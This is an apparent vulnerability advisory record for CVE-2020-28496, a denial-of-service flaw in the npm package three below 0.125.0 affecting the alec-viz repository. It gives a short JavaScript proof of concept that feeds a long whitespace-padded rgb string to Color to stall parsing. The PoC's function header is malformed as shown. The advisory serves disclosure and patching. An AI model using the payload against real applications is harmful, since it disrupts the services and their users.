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Denial of service in three

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Repository: OpenNMS/alec-viz (https://github.com/OpenNMS/alec-viz)
Dependabot: https://github.com/OpenNMS/alec-viz/security/dependabot/2
CVE: CVE-2020-28496
CVSS:
GHSA: GHSA-fq6p-x6j3-cmmq
Severity: high
Ecosystem: npm
Package Name: three
Vulnerable Version Range: < 0.125.0
First Patched Version: 0.125.0

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PagerDuty

Created July 21, 2023 at 10:34 PM
Updated July 21, 2023 at 10:34 PM

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